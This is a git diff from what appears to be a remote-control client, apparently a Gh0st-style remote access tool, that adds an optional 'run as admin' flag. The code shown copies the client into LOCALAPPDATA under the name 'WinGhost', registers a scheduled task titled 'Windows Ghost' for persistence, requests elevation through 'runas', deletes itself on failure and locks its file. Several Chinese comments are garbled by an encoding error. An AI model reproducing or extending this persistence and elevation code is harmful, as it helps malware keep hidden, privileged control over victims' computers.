diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 375d935..e5e6b28 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -192,7 +192,7 @@ int main(int argc, const char *argv[]) InitWindowsService({ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality." }, ServiceLogger); bool isService = g_SETTINGS.iStartup == Startup_GhostMsc; // 注册启动项 - int r = RegisterStartup("Windows Ghost", "WinGhost", !isService); + int r = RegisterStartup("Windows Ghost", "WinGhost", !isService, g_SETTINGS.runasAdmin); if (r <= 0) { BOOL s = self_del(); if (!IsDebug) { diff --git a/client/main.c b/client/main.c index 7218944..b6bf62a 100644 --- a/client/main.c +++ b/client/main.c @@ -40,7 +40,8 @@ struct CONNECT_ADDRESS { char protoType; // 协议类型 char runningType; // 运行方式 char szGroupName[24]; // 分组名称 - char szReserved[20]; // 占位,使结构体占据300字节 + char runasAdmin; // 是否提升权限运行 + char szReserved[19]; // 占位,使结构体占据300字节 uint64_t parentHwnd; // 父进程窗口句柄 uint64_t superAdmin; // 管理员主控ID char pwdHash[64]; // 密码哈希 diff --git a/client/reg_startup.c b/client/reg_startup.c index 7538769..14ceac5 100644 --- a/client/reg_startup.c +++ b/client/reg_startup.c @@ -25,7 +25,7 @@ inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wc MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize); } -int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run) +int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin) { HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) { @@ -168,7 +168,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons IPrincipal* pPrincipal = NULL; if (SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) { pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN); - pPrincipal->lpVtbl->put_RunLevel(pPrincipal, TASK_RUNLEVEL_HIGHEST); + pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA); pPrincipal->lpVtbl->Release(pPrincipal); } @@ -287,13 +287,13 @@ BOOL CreateDirectoryRecursively(const char* path) return TRUE; } -int RegisterStartup(const char* startupName, const char* exeName, bool lockFile) +int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin) { #ifdef _DEBUG return 1; #endif char folder[MAX_PATH] = { 0 }; - if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0) { + if (GetEnvironmentVariableA("LOCALAPPDATA", folder, MAX_PATH) > 0) { size_t len = strlen(folder); if (len > 0 && folder[len - 1] != '\\') { folder[len] = '\\'; @@ -312,15 +312,18 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile) char dstFile[MAX_PATH] = { 0 }; sprintf(dstFile, "%s\\%s.exe", folder, exeName); - + BOOL isAdmin = IsRunningAsAdmin(); + if (isAdmin) runasAdmin = true; if (_stricmp(curFile, dstFile) != 0) { - if (!IsRunningAsAdmin()) { - if (!LaunchAsAdmin(curFile, "runas")) { - Mprintf("The program will now exit. Please restart it with administrator privileges."); - return -1; + if (!isAdmin) { + if (runasAdmin) { + if (!LaunchAsAdmin(curFile, "runas")) { + Mprintf("The program will now exit. Please restart it with administrator privileges."); + return -1; + } + Mprintf("Choosing with administrator privileges: %s.\n", curFile); + return 0; } - Mprintf("Choosing with administrator privileges: %s.\n", curFile); - return 0; } else { Mprintf("Running with administrator privileges: %s.\n", curFile); } @@ -330,12 +333,12 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile) Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n", curFile, dstFile, b ? "succeed" : "failed", GetLastError()); - int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE); + int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin); Mprintf("ƻ: %s!\n", status == 0 ? "ɹ" : "ʧ"); return 0; } - int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE); + int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin); Mprintf("ƻ: %s!\n", status == 0 ? "ɹ" : "ʧ"); if (lockFile) CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); diff --git a/client/reg_startup.h b/client/reg_startup.h index 02c9072..8e8bdb7 100644 --- a/client/reg_startup.h +++ b/client/reg_startup.h @@ -2,4 +2,4 @@ #include // return > 0 means to continue running else terminate. -int RegisterStartup(const char* startupName, const char* exeName, bool lockFile); +int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin); diff --git a/client/test.cpp b/client/test.cpp index 7c40ee8..09ca5a0 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -225,7 +225,7 @@ int main(int argc, const char *argv[]) InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}, ServiceLogger); bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc; // ע - int r = RegisterStartup("Client Demo", "ClientDemo", !isService); + int r = RegisterStartup("Client Demo", "ClientDemo", !isService, g_ConnectAddress.runasAdmin); if (r <= 0) { BOOL s = self_del(); if (!IsDebug) { diff --git a/common/commands.h b/common/commands.h index 586b4e9..cbcc7bb 100644 --- a/common/commands.h +++ b/common/commands.h @@ -601,7 +601,8 @@ public: char protoType; // Э char runningType; // зʽ char szGroupName[24]; // - char szReserved[20]; // ռλʹṹռ300ֽ + char runasAdmin; // ǷȨ + char szReserved[19]; // ռλʹṹռ300ֽ uint64_t parentHwnd; // ̴ھ uint64_t superAdmin; // ԱID char pwdHash[64]; // ϣ diff --git a/common/logger.h b/common/logger.h index 0979923..10196fe 100644 --- a/common/logger.h +++ b/common/logger.h @@ -43,7 +43,9 @@ public: char buf[16] = {}; sprintf_s(buf, "%d", GetCurrentProcessId()); instance.pid = buf; - instance.InitLogFile("C:\\Windows\\Temp", instance.pid); + char logPath[MAX_PATH] = { 0 }; + GetEnvironmentVariableA("TEMP", logPath, MAX_PATH); + instance.InitLogFile(logPath, instance.pid); #ifdef _WINDOWS instance.enable = true; // ־Ĭϴ #else